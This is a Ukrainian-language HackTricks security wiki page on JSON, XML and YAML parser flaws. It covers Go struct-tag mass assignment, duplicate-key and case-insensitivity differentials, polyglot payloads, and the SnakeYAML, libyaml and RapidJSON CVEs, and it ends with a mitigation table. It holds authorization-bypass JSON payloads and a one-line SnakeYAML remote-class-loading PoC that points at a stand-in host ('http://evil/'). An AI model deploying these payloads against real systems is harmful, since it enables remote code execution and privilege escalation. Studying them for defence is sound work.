JSON, XML & Yaml Hacking & Issues

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Go JSON Decoder

Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в цьому блозі.

JSON, XML та YAML парсери Go мають довгий список невідповідностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для обходу аутентифікації, ескалації привілеїв або екстракції чутливих даних.

(Un)Marshaling Unexpected Data

Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, IsAdmin, Password).

  • Example Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Загальні вразливості
  1. Відсутній тег (немає тегу = поле все ще обробляється за замовчуванням):
go
type User struct {
Username string
}

Пейлоад:

json
{"Username": "admin"}
  1. Неправильне використання -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Пейлоад:

json
{"-": true}

✔️ Правильний спосіб заблокувати поле від (не)маршалізації:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser Differentials

Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же корисний навантаження, як у:

  • CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
  • 2022: Zoom 0-click RCE через несумісність XML парсера
  • GitLab 2025 обходження SAML через особливості XML

1. Дублікати полів: Go's encoding/json бере остання поле.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Інші парсери (наприклад, Java’s Jackson) можуть взяти перший.

2. Нечутливість до регістру: Go є нечутливим до регістру:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Навіть трюки з Unicode працюють:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Невідповідність між сервісами: Уявіть:

  • Проксі, написаний на Go
  • Служба AuthZ, написана на Python

Зловмисник надсилає:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python бачить UserAction, дозволяє його
  • Go бачить AdminAction, виконує його

Плутанина формату даних (Поліглоти)

Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не блокують помилки парсера, такі як:

  • CVE-2020-16250: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.

Зловмисник контролює:

  • Заголовок Accept: application/json
  • Частковий контроль над тілом JSON

XML парсер Go розпарсив його все одно і довіряв ін'єкованій ідентичності.

  • Сформований payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
  • Go JSON парсер: Action_2 (нечутливий до регістру + останній виграє)
  • YAML парсер: Action_1 (чутливий до регістру)
  • XML парсер: парсить "Action_3" всередині рядка

Помітні вразливості парсерів (2023-2025)

Наступні публічно експлуатовані проблеми показують, що небезпечний парсинг є проблемою багатьох мов — це не лише проблема Go.

SnakeYAML десеріалізація RCE (CVE-2022-1471)

  • Впливає на: org.yaml:snakeyaml < 2.0 (використовується Spring-Boot, Jenkins тощо).
  • Корінна причина: new Constructor() десеріалізує произвольні Java класи, дозволяючи ланцюги гаджетів, які закінчуються виконанням віддаленого коду.
  • Однорядковий PoC (відкриє калькулятор на вразливому хості):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Виправлення / Пом'якшення:
  1. Оновіть до ≥2.0 (використовує SafeLoader за замовчуванням).
  2. У старих версіях явно використовуйте new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Впливає на: libyaml ≤0.2.5 (C бібліотека, що використовується багатьма мовами).
  • Проблема: Виклик yaml_event_delete() двічі призводить до подвійного звільнення, яке зловмисники можуть перетворити на DoS або, в деяких сценаріях, експлуатацію купи.
  • Статус: Вгору відхилено як “неправильне використання API”, але дистрибутиви Linux випустили виправлену версію 0.2.6, яка захищає вказівник, обнуляючи його.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Впливає на: Tencent RapidJSON до коміту 8269bc2 (<1.1.0-patch-22).
  • Помилка: У GenericReader::ParseNumber() неконтрольована арифметика дозволяє зловмисникам створювати величезні числові літерали, які обертаються і пошкоджують купу — в кінцевому підсумку це дозволяє підвищити привілеї, коли отримана граф об'єктів використовується для прийняття рішень про авторизацію.

🔐 Пом'якшення (Оновлено)

РизикВиправлення / Рекомендація
Невідомі поля (JSON)decoder.DisallowUnknownFields()
Дублікати полів (JSON)❌ Немає виправлення в stdlib — перевірте за допомогою jsoncheck
Нечутливе співпадіння (Go)❌ Немає виправлення — перевірте теги структур + попередньо канонізуйте вхідні дані
XML сміттєві дані / XXEВикористовуйте посилений парсер (encoding/xml + DisallowDTD)
YAML невідомі ключіyaml.KnownFields(true)
Небезпечна десеріалізація YAMLВикористовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0
libyaml ≤0.2.5 подвійне звільненняОновіть до 0.2.6 або виправленої версії дистрибутива
RapidJSON <виправлений комітСкомпілюйте проти останнього RapidJSON (≥липень 2024)

Посилання

  • Baeldung – “Вирішення CVE-2022-1471 з SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks